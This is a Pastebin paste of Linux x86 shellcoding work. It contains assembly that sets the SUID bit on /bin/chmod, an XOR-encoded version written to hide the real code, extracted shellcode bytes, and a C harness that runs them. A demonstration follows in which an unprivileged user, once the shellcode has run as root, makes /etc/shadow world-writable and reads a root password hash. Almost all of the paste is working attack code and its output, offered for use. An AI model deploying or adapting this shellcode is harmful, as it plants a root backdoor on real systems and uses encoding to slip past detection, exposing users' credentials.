Advertisement
Guest User

Shellcoding Xor @moxilo

a guest
Oct 22nd, 2013
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ASM to change the permissions of chmod getting SuID :
  2.  
  3. File chmod.asm:
  4.  
  5.     SECTION .text       ; Seccion de datos
  6.         global _start       ; Donde empieza el programa
  7. _start:             ; Empieza el programa
  8.    
  9.     jmp callback    ; Jump-call-pop
  10.  
  11. programa:
  12.     pop esi     ; Desapilamos la direccion de la sig ins
  13.                 ; previo call, tenemos el db
  14.  
  15.     xor ecx,ecx
  16.     mov cx,0x89ED   ; Param #2, Modo, 4755 (8) -> 0x9ED (H), modo raw (0x89ED)
  17.                 ; +info: comando stat %a %f
  18.     mov ebx,esi     ; Param #1, Fichero a cambiar
  19.     xor eax,eax
  20.     mov al,0xf      ; Chmod es 15 -> 0xF
  21.                 ; arch/x86/include/generated/uapi/asm/unistd_32.h
  22.     int 0x80        ; Llamada al sistema
  23.    
  24.     xor ebx,ebx     ; Salimos, todo ha ido bien, param #1 de todo OK = '0'
  25.     xor     eax,eax
  26.     mov al,1        ; Funcion exit
  27.     int 0x80        ; Llamada al sistema
  28.  
  29. callback:
  30.     call    programa
  31.     db "/bin/chmod"    
  32.  
  33. ######################################################################################
  34.  
  35. Xor version to hide the real code:
  36.  
  37. # nasm -f elf chmod.asm -o chmod.o
  38. # ld -o asmchmod chmod.o
  39. # objdump -M intel -d asmchmod | grep 80480 | grep -v '>:' | cut -f2 | perl -p -e 's/ [ \n]*//g'
  40. eb175e31c966b9ed8989f331c0b00fcd8031db31c0b001cd80e8e4ffffff2f62696e2f63686d6f64
  41.  
  42. # ./parse.py xor eb175e31c966b9ed8989f331c0b00fcd8031db31c0b001cd80e8e4ffffff2f62696e2f63686d6f64 18
  43. f30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
  44.  
  45. File chmodxor.asm:
  46.  
  47.         SECTION .text           ; Seccion de datos
  48.         global _start           ; Donde empieza el programa
  49. _start:                         ; Empieza el programa
  50.  
  51.         jmp     callback        ; Jump-call-pop
  52.  
  53. programa:
  54.         pop     esi             ; Desapilamos la direccion donde estan los byte
  55.         mov     ebx,esi
  56.                                 ; XOR START
  57.         xor     ecx, ecx        ; Contador a 0
  58.         mov     cl,40           ; Cuantos contadores vamos a leer
  59. loopxor:
  60.         mov     al,[esi]
  61.         xor     al,18h          ; Xor del codigo con 0x18
  62.         mov     [esi],al
  63.         inc     esi             ; Incrementamos en busqueda de la siguiente posicion
  64.         dec     cl              ; Decrementamos el contador
  65.         jnz     loopxor
  66.                                 ; XOR FINISH
  67.         jmp     ebx
  68.  
  69. callback:
  70.         call    programa
  71.         db      0f3h, 00fh, 046h, 029h, 0d1h, 07eh, 0a1h, 0f5h, 091h, 091h, 0ebh, 029h, 0d8h, 0a8h, 017h, 0d5h, 098h, 029h, 0c3h, 029h, 0d8h, 0a8h, 019h, 0d5h, 098h, 0f0h, 0fch, 0e7h, 0e7h, 0e7h, 037h, 07ah, 071h, 076h, 037h, 07bh, 070h, 075h, 077h, 07ch
  72.  
  73. ######################################################################################
  74.  
  75. # nasm -f elf chmodxor.asm -o chmod.o
  76. # ld -o asmchmod chmod.o
  77. # objdump -M intel -d asmchmod | grep 80480 | grep -v '>:' | cut -f2 | perl -p -e 's/ [ \n]*//g'
  78. eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
  79. # ./parse.py hex eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
  80. \xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c
  81.  
  82. File shellcode.c:
  83.  
  84. #include <unistd.h>
  85.  
  86. unsigned char shellcode[] = \
  87. "\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c";
  88. void main(){
  89.         int (*ret)() = (int(*)()) shellcode;
  90.         ret();}
  91.  
  92. ######################################################################################
  93.  
  94. # ls -l /bin/chmod
  95. -rwxr-xr-x 1 root root 54904 Jan 26  2013 /bin/chmod
  96. # su - prueba
  97. $ chmod 777 /etc/shadow
  98. chmod: changing permissions of `/etc/shadow': Operation not permitted
  99. $ exit
  100. exit
  101. # gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  102. # ./shellcode
  103. # ls -l /bin/chmod
  104. -rwsr-xr-x 1 root root 54904 Jan 26  2013 /bin/chmod
  105. # su prueba
  106. $ chmod 777 /etc/shadow
  107. $ grep root /etc/shadow
  108. root:$6$jwJ6uky6$IHR7LyNfY6BpZiRd6cjVjiBtLyNfY5Y9N.gXN7B8t4FOtKRnZO5Y9NymHQus.3Ec7XaHJsdRYec77HnLyNfYM/:15992:0:99999:7:::
  109. $ echo "I change the hash and the salt in pastebin :-), now without execstack..."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement